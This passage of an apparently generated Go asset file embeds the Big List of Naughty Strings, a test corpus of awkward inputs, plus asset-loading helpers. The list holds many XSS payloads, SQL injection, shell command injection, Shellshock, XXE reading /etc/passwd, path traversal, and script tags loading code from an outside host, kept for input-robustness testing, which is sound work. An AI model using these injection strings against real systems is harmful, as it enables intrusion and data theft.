907 | "Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣",
908 | "̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰",
909 | "̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟",
910 | "̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕",
911 | "Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮",
912 | "˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥",
913 | "00˙Ɩ$-",
914 | "Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ",
915 | "𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠",
916 | "𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌",
917 | "𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈",
918 | "𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰",
919 | "𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘",
920 | "𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐",
921 | "⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢",
922 | "<script>alert(123)</script>",
923 | "<script>alert('123');</script>",
924 | "<img src=x onerror=alert(123) />",
925 | "<svg><script>123<1>alert(123)</script>",
926 | "\"><script>alert(123)</script>",
927 | "'><script>alert(123)</script>",
928 | "><script>alert(123)</script>",
929 | "</script><script>alert(123)</script>",
930 | "< / script >< script >alert(123)< / script >",
931 | " onfocus=JaVaSCript:alert(123) autofocus",
932 | "\" onfocus=JaVaSCript:alert(123) autofocus",
933 | "' onfocus=JaVaSCript:alert(123) autofocus",
934 | "＜script＞alert(123)＜/script＞",
935 | "<sc<script>ript>alert(123)</sc</script>ript>",
936 | "--><script>alert(123)</script>",
937 | "\";alert(123);t=\"",
938 | "';alert(123);t='",
939 | "JavaSCript:alert(123)",
940 | ";alert(123);",
941 | "src=JaVaSCript:prompt(132)",
942 | "\"><script>alert(123);</script x=\"",
943 | "'><script>alert(123);</script x='",
944 | "><script>alert(123);</script x=",
945 | "\" autofocus onkeyup=\"javascript:alert(123)",
946 | "' autofocus onkeyup='javascript:alert(123)",
947 | "<script\\x20type=\"text/javascript\">javascript:alert(1);</script>",
948 | "<script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>",
949 | "<script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>",
950 | "<script\\x09type=\"text/javascript\">javascript:alert(1);</script>",
951 | "<script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>",
952 | "<script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>",
953 | "<script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>",
954 | "'`+"`"+`\"><\\x3Cscript>javascript:alert(1)</script>",
955 | "'`+"`"+`\"><\\x00script>javascript:alert(1)</script>",
956 | "ABC<div style=\"x\\x3Aexpression(javascript:alert(1)\">DEF",
957 | "ABC<div style=\"x:expression\\x5C(javascript:alert(1)\">DEF",
958 | "ABC<div style=\"x:expression\\x00(javascript:alert(1)\">DEF",
959 | "ABC<div style=\"x:exp\\x00ression(javascript:alert(1)\">DEF",
960 | "ABC<div style=\"x:exp\\x5Cression(javascript:alert(1)\">DEF",
961 | "ABC<div style=\"x:\\x0Aexpression(javascript:alert(1)\">DEF",
962 | "ABC<div style=\"x:\\x09expression(javascript:alert(1)\">DEF",
963 | "ABC<div style=\"x:\\xE3\\x80\\x80expression(javascript:alert(1)\">DEF",
964 | "ABC<div style=\"x:\\xE2\\x80\\x84expression(javascript:alert(1)\">DEF",
965 | "ABC<div style=\"x:\\xC2\\xA0expression(javascript:alert(1)\">DEF",
966 | "ABC<div style=\"x:\\xE2\\x80\\x80expression(javascript:alert(1)\">DEF",
967 | "ABC<div style=\"x:\\xE2\\x80\\x8Aexpression(javascript:alert(1)\">DEF",
968 | "ABC<div style=\"x:\\x0Dexpression(javascript:alert(1)\">DEF",
969 | "ABC<div style=\"x:\\x0Cexpression(javascript:alert(1)\">DEF",
970 | "ABC<div style=\"x:\\xE2\\x80\\x87expression(javascript:alert(1)\">DEF",
971 | "ABC<div style=\"x:\\xEF\\xBB\\xBFexpression(javascript:alert(1)\">DEF",
972 | "ABC<div style=\"x:\\x20expression(javascript:alert(1)\">DEF",
973 | "ABC<div style=\"x:\\xE2\\x80\\x88expression(javascript:alert(1)\">DEF",
974 | "ABC<div style=\"x:\\x00expression(javascript:alert(1)\">DEF",
975 | "ABC<div style=\"x:\\xE2\\x80\\x8Bexpression(javascript:alert(1)\">DEF",
976 | "ABC<div style=\"x:\\xE2\\x80\\x86expression(javascript:alert(1)\">DEF",
977 | "ABC<div style=\"x:\\xE2\\x80\\x85expression(javascript:alert(1)\">DEF",
978 | "ABC<div style=\"x:\\xE2\\x80\\x82expression(javascript:alert(1)\">DEF",
979 | "ABC<div style=\"x:\\x0Bexpression(javascript:alert(1)\">DEF",
980 | "ABC<div style=\"x:\\xE2\\x80\\x81expression(javascript:alert(1)\">DEF",
981 | "ABC<div style=\"x:\\xE2\\x80\\x83expression(javascript:alert(1)\">DEF",
982 | "ABC<div style=\"x:\\xE2\\x80\\x89expression(javascript:alert(1)\">DEF",
983 | "<a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
984 | "<a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
985 | "<a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
986 | "<a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
987 | "<a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
988 | "<a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
989 | "<a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
990 | "<a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
991 | "<a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
992 | "<a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
993 | "<a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
994 | "<a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
995 | "<a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
996 | "<a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
997 | "<a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
998 | "<a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
999 | "<a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1000 | "<a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1001 | "<a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1002 | "<a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1003 | "<a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1004 | "<a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1005 | "<a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1006 | "<a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1007 | "<a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1008 | "<a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1009 | "<a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1010 | "<a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1011 | "<a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1012 | "<a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1013 | "<a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1014 | "<a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1015 | "<a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1016 | "<a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1017 | "<a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1018 | "<a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1019 | "<a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1020 | "<a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1021 | "<a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1022 | "<a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1023 | "<a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1024 | "<a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1025 | "<a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1026 | "<a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1027 | "<a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1028 | "<a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1029 | "<a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1030 | "<a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1031 | "<a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1032 | "<a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1033 | "<a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1034 | "<a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1035 | "<a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1036 | "<a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1037 | "<a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1038 | "<a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1039 | "<a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
1040 | "`+"`"+`\"'><img src=xxx:x \\x0Aonerror=javascript:alert(1)>",
1041 | "`+"`"+`\"'><img src=xxx:x \\x22onerror=javascript:alert(1)>",
1042 | "`+"`"+`\"'><img src=xxx:x \\x0Bonerror=javascript:alert(1)>",
1043 | "`+"`"+`\"'><img src=xxx:x \\x0Donerror=javascript:alert(1)>",
1044 | "`+"`"+`\"'><img src=xxx:x \\x2Fonerror=javascript:alert(1)>",
1045 | "`+"`"+`\"'><img src=xxx:x \\x09onerror=javascript:alert(1)>",
1046 | "`+"`"+`\"'><img src=xxx:x \\x0Conerror=javascript:alert(1)>",
1047 | "`+"`"+`\"'><img src=xxx:x \\x00onerror=javascript:alert(1)>",
1048 | "`+"`"+`\"'><img src=xxx:x \\x27onerror=javascript:alert(1)>",
1049 | "`+"`"+`\"'><img src=xxx:x \\x20onerror=javascript:alert(1)>",
1050 | "\"`+"`"+`'><script>\\x3Bjavascript:alert(1)</script>",
1051 | "\"`+"`"+`'><script>\\x0Djavascript:alert(1)</script>",
1052 | "\"`+"`"+`'><script>\\xEF\\xBB\\xBFjavascript:alert(1)</script>",
1053 | "\"`+"`"+`'><script>\\xE2\\x80\\x81javascript:alert(1)</script>",
1054 | "\"`+"`"+`'><script>\\xE2\\x80\\x84javascript:alert(1)</script>",
1055 | "\"`+"`"+`'><script>\\xE3\\x80\\x80javascript:alert(1)</script>",
1056 | "\"`+"`"+`'><script>\\x09javascript:alert(1)</script>",
1057 | "\"`+"`"+`'><script>\\xE2\\x80\\x89javascript:alert(1)</script>",
1058 | "\"`+"`"+`'><script>\\xE2\\x80\\x85javascript:alert(1)</script>",
1059 | "\"`+"`"+`'><script>\\xE2\\x80\\x88javascript:alert(1)</script>",
1060 | "\"`+"`"+`'><script>\\x00javascript:alert(1)</script>",
1061 | "\"`+"`"+`'><script>\\xE2\\x80\\xA8javascript:alert(1)</script>",
1062 | "\"`+"`"+`'><script>\\xE2\\x80\\x8Ajavascript:alert(1)</script>",
1063 | "\"`+"`"+`'><script>\\xE1\\x9A\\x80javascript:alert(1)</script>",
1064 | "\"`+"`"+`'><script>\\x0Cjavascript:alert(1)</script>",
1065 | "\"`+"`"+`'><script>\\x2Bjavascript:alert(1)</script>",
1066 | "\"`+"`"+`'><script>\\xF0\\x90\\x96\\x9Ajavascript:alert(1)</script>",
1067 | "\"`+"`"+`'><script>-javascript:alert(1)</script>",
1068 | "\"`+"`"+`'><script>\\x0Ajavascript:alert(1)</script>",
1069 | "\"`+"`"+`'><script>\\xE2\\x80\\xAFjavascript:alert(1)</script>",
1070 | "\"`+"`"+`'><script>\\x7Ejavascript:alert(1)</script>",
1071 | "\"`+"`"+`'><script>\\xE2\\x80\\x87javascript:alert(1)</script>",
1072 | "\"`+"`"+`'><script>\\xE2\\x81\\x9Fjavascript:alert(1)</script>",
1073 | "\"`+"`"+`'><script>\\xE2\\x80\\xA9javascript:alert(1)</script>",
1074 | "\"`+"`"+`'><script>\\xC2\\x85javascript:alert(1)</script>",
1075 | "\"`+"`"+`'><script>\\xEF\\xBF\\xAEjavascript:alert(1)</script>",
1076 | "\"`+"`"+`'><script>\\xE2\\x80\\x83javascript:alert(1)</script>",
1077 | "\"`+"`"+`'><script>\\xE2\\x80\\x8Bjavascript:alert(1)</script>",
1078 | "\"`+"`"+`'><script>\\xEF\\xBF\\xBEjavascript:alert(1)</script>",
1079 | "\"`+"`"+`'><script>\\xE2\\x80\\x80javascript:alert(1)</script>",
1080 | "\"`+"`"+`'><script>\\x21javascript:alert(1)</script>",
1081 | "\"`+"`"+`'><script>\\xE2\\x80\\x82javascript:alert(1)</script>",
1082 | "\"`+"`"+`'><script>\\xE2\\x80\\x86javascript:alert(1)</script>",
1083 | "\"`+"`"+`'><script>\\xE1\\xA0\\x8Ejavascript:alert(1)</script>",
1084 | "\"`+"`"+`'><script>\\x0Bjavascript:alert(1)</script>",
1085 | "\"`+"`"+`'><script>\\x20javascript:alert(1)</script>",
1086 | "\"`+"`"+`'><script>\\xC2\\xA0javascript:alert(1)</script>",
1087 | "<img \\x00src=x onerror=\"alert(1)\">",
1088 | "<img \\x47src=x onerror=\"javascript:alert(1)\">",
1089 | "<img \\x11src=x onerror=\"javascript:alert(1)\">",
1090 | "<img \\x12src=x onerror=\"javascript:alert(1)\">",
1091 | "<img\\x47src=x onerror=\"javascript:alert(1)\">",
1092 | "<img\\x10src=x onerror=\"javascript:alert(1)\">",
1093 | "<img\\x13src=x onerror=\"javascript:alert(1)\">",
1094 | "<img\\x32src=x onerror=\"javascript:alert(1)\">",
1095 | "<img\\x47src=x onerror=\"javascript:alert(1)\">",
1096 | "<img\\x11src=x onerror=\"javascript:alert(1)\">",
1097 | "<img \\x47src=x onerror=\"javascript:alert(1)\">",
1098 | "<img \\x34src=x onerror=\"javascript:alert(1)\">",
1099 | "<img \\x39src=x onerror=\"javascript:alert(1)\">",
1100 | "<img \\x00src=x onerror=\"javascript:alert(1)\">",
1101 | "<img src\\x09=x onerror=\"javascript:alert(1)\">",
1102 | "<img src\\x10=x onerror=\"javascript:alert(1)\">",
1103 | "<img src\\x13=x onerror=\"javascript:alert(1)\">",
1104 | "<img src\\x32=x onerror=\"javascript:alert(1)\">",
1105 | "<img src\\x12=x onerror=\"javascript:alert(1)\">",
1106 | "<img src\\x11=x onerror=\"javascript:alert(1)\">",
1107 | "<img src\\x00=x onerror=\"javascript:alert(1)\">",
1108 | "<img src\\x47=x onerror=\"javascript:alert(1)\">",
1109 | "<img src=x\\x09onerror=\"javascript:alert(1)\">",
1110 | "<img src=x\\x10onerror=\"javascript:alert(1)\">",
1111 | "<img src=x\\x11onerror=\"javascript:alert(1)\">",
1112 | "<img src=x\\x12onerror=\"javascript:alert(1)\">",
1113 | "<img src=x\\x13onerror=\"javascript:alert(1)\">",
1114 | "<img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">",
1115 | "<img src=x onerror=\\x09\"javascript:alert(1)\">",
1116 | "<img src=x onerror=\\x10\"javascript:alert(1)\">",
1117 | "<img src=x onerror=\\x11\"javascript:alert(1)\">",
1118 | "<img src=x onerror=\\x12\"javascript:alert(1)\">",
1119 | "<img src=x onerror=\\x32\"javascript:alert(1)\">",
1120 | "<img src=x onerror=\\x00\"javascript:alert(1)\">",
1121 | "<a href=java script:javascript:alert(1)>XXX</a>",
1122 | "<img src=\"x`+"`"+` `+"`"+`<script>javascript:alert(1)</script>\"`+"`"+` `+"`"+`>",
1123 | "<img src onerror /\" '\"= alt=javascript:alert(1)//\">",
1124 | "<title onpropertychange=javascript:alert(1)>",
1125 | "<a href=http://foo.bar/#x=`+"`"+`y></a><img alt=\"`+"`"+`><img src=x:x onerror=javascript:alert(1)></a>\">",
1126 | "<!--[if]><script>javascript:alert(1)</script -->",
1127 | "<!--[if<img src=x onerror=javascript:alert(1)//]> -->",
1128 | "<script src=\"/\\%(jscript)s\"></script>",
1129 | "<script src=\"\\\\%(jscript)s\"></script>",
1130 | "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
1131 | "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
1132 | "<IMG SRC=# onmouseover=\"alert('xxs')\">",
1133 | "<IMG SRC= onmouseover=\"alert('xxs')\">",
1134 | "<IMG onmouseover=\"alert('xxs')\">",
1135 | "<IMG SRC=javascript:alert('XSS')>",
1136 | "<IMG SRC=javascript:alert('XSS')>",
1137 | "<IMG SRC=javascript:alert('XSS')>",
1138 | "<IMG SRC=\"jav ascript:alert('XSS');\">",
1139 | "<IMG SRC=\"jav ascript:alert('XSS');\">",
1140 | "<IMG SRC=\"jav
ascript:alert('XSS');\">",
1141 | "<IMG SRC=\"jav
ascript:alert('XSS');\">",
1142 | "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out",
1143 | "<IMG SRC=\" javascript:alert('XSS');\">",
1144 | "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
1145 | "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`+"`"+`=alert(\"XSS\")>",
1146 | "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
1147 | "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
1148 | "<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
1149 | "<SCRIPT SRC=//ha.ckers.org/.j>",
1150 | "<IMG SRC=\"javascript:alert('XSS')\"",
1151 | "<iframe src=http://ha.ckers.org/scriptlet.html <",
1152 | "\\\";alert('XSS');//",
1153 | "<u oncopy=alert()> Copy me</u>",
1154 | "<i onwheel=alert(1)> Scroll over me </i>",
1155 | "<plaintext>",
1156 | "http://a/%%30%30",
1157 | "</textarea><script>alert(123)</script>",
1158 | "1;DROP TABLE users",
1159 | "1'; DROP TABLE users-- 1",
1160 | "' OR 1=1 -- 1",
1161 | "' OR '1'='1",
1162 | " ",
1163 | "%",
1164 | "_",
1165 | "-",
1166 | "--",
1167 | "--version",
1168 | "--help",
1169 | "$USER",
1170 | "/dev/null; touch /tmp/blns.fail ; echo",
1171 | "`+"`"+`touch /tmp/blns.fail`+"`"+`",
1172 | "$(touch /tmp/blns.fail)",
1173 | "@{[system \"touch /tmp/blns.fail\"]}",
1174 | "eval(\"puts 'hello world'\")",
1175 | "System(\"ls -al /\")",
1176 | "`+"`"+`ls -al /`+"`"+`",
1177 | "Kernel.exec(\"ls -al /\")",
1178 | "Kernel.exit(1)",
1179 | "%x('ls -al /')",
1180 | "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>",
1181 | "$HOME",
1182 | "$ENV{'HOME'}",
1183 | "%d",
1184 | "%s%s%s%s%s",
1185 | "{0}",
1186 | "%*.*s",
1187 | "%@",
1188 | "%n",
1189 | "File:///",
1190 | "../../../../../../../../../../../etc/passwd%00",
1191 | "../../../../../../../../../../../etc/hosts",
1192 | "() { 0; }; touch /tmp/blns.shellshock1.fail;",
1193 | "() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }",
1194 | "<<< %s(un='%s') = %u",
1195 | "+++ATH0",
1196 | "CON",
1197 | "PRN",
1198 | "AUX",
1199 | "CLOCK$",
1200 | "NUL",
1201 | "A:",
1202 | "ZZ:",
1203 | "COM1",
1204 | "LPT1",
1205 | "LPT2",
1206 | "LPT3",
1207 | "COM2",
1208 | "COM3",
1209 | "COM4",
1210 | "DCC SEND STARTKEYLOGGER 0 0 0",
1211 | "Scunthorpe General Hospital",
1212 | "Penistone Community Church",
1213 | "Lightwater Country Park",
1214 | "Jimmy Clitheroe",
1215 | "Horniman Museum",
1216 | "shitake mushrooms",
1217 | "RomansInSussex.co.uk",
1218 | "http://www.cum.qc.ca/",
1219 | "Craig Cockburn, Software Specialist",
1220 | "Linda Callahan",
1221 | "Dr. Herman I. Libshitz",
1222 | "magna cum laude",
1223 | "Super Bowl XXX",
1224 | "medieval erection of parapets",
1225 | "evaluate",
1226 | "mocha",
1227 | "expression",
1228 | "Arsenal canal",
1229 | "classic",
1230 | "Tyson Gay",
1231 | "Dick Van Dyke",
1232 | "basement",
1233 | "If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
1234 | "Roses are \u001b[0;31mred\u001b[0m, violets are \u001b[0;34mblue. Hope you enjoy terminal hue",
1235 | "But now...\u001b[20Cfor my greatest trick...\u001b[8m",
1236 | "The quic\b\b\b\b\b\bk brown fo\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007x... [Beeeep]",
1237 | "Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗",
1238 | "🏳0🌈️",
1239 | "జ్ఞా"
1240 | ]`)
1241 |
1242 | func BlnsJsonBytes() ([]byte, error) {
1243 | return _BlnsJson, nil
1244 | }
1245 |
1246 | func BlnsJson() (*asset, error) {
1247 | bytes, err := BlnsJsonBytes()
1248 | if err != nil {
1249 | return nil, err
1250 | }
1251 |
1252 | info := bindataFileInfo{name: "../blns.json", size: 26381, mode: os.FileMode(420), modTime: time.Unix(1548804227, 0)}
1253 | a := &asset{bytes: bytes, info: info}
1254 | return a, nil
1255 | }
1256 |
1257 | // Asset loads and returns the asset for the given name.
1258 | // It returns an error if the asset could not be found or
1259 | // could not be loaded.
1260 | func Asset(name string) ([]byte, error) {
1261 | cannonicalName := strings.Replace(name, "\\", "/", -1)
1262 | if f, ok := _bindata[cannonicalName]; ok {
1263 | a, err := f()
1264 | if err != nil {
1265 | return nil, fmt.Errorf("Asset %s can't read by error: %v", name, err)
1266 | }
1267 | return a.bytes, nil
1268 | }
1269 | return nil, fmt.Errorf("Asset %s not found", name)
1270 | }
1271 |
1272 | // MustAsset is like Asset but panics when Asset would return an error.
1273 | // It simplifies safe initialization of global variables.
1274 | func MustAsset(name string) []byte {
1275 | a, err := Asset(name)
1276 | if err != nil {
1277 | panic("asset: Asset(" + name + "): " + err.Error())
1278 | }
1279 |
1280 | return a
1281 | }
1282 |
1283 | // AssetInfo loads and returns the asset info for the given name.
1284 | // It returns an error if the asset could not be found or
1285 | // could not be loaded.
1286 | func AssetInfo(name string) (os.FileInfo, error) {
1287 | cannonicalName := strings.Replace(name, "\\", "/", -1)
1288 | if f, ok := _bindata[cannonicalName]; ok {
1289 | a, err := f()
1290 | if err != nil {
1291 | return nil, fmt.Errorf("AssetInfo %s can't read by error: %v", name, err)
1292 | }
1293 | return a.info, nil
1294 | }
1295 | return nil, fmt.Errorf("AssetInfo %s not found", name)
1296 | }
1297 |
1298 | // AssetNames returns the names of the assets.
1299 | func AssetNames() []string {
1300 | names := make([]string, 0, len(_bindata))
1301 | for name := range _bindata {
1302 | names = append(names, name)
1303 | }
1304 | return names
1305 | }
1306 |
1307 | // _bindata is a table, holding each asset generator, mapped to its name.
1308 | var _bindata = map[string]func() (*asset, error){
1309 | "../blns.base64.json": BlnsBase64Json,
1310 | "../blns.json": BlnsJson,
1311 | }
1312 |
1313 | // AssetDir returns the file names below a certain
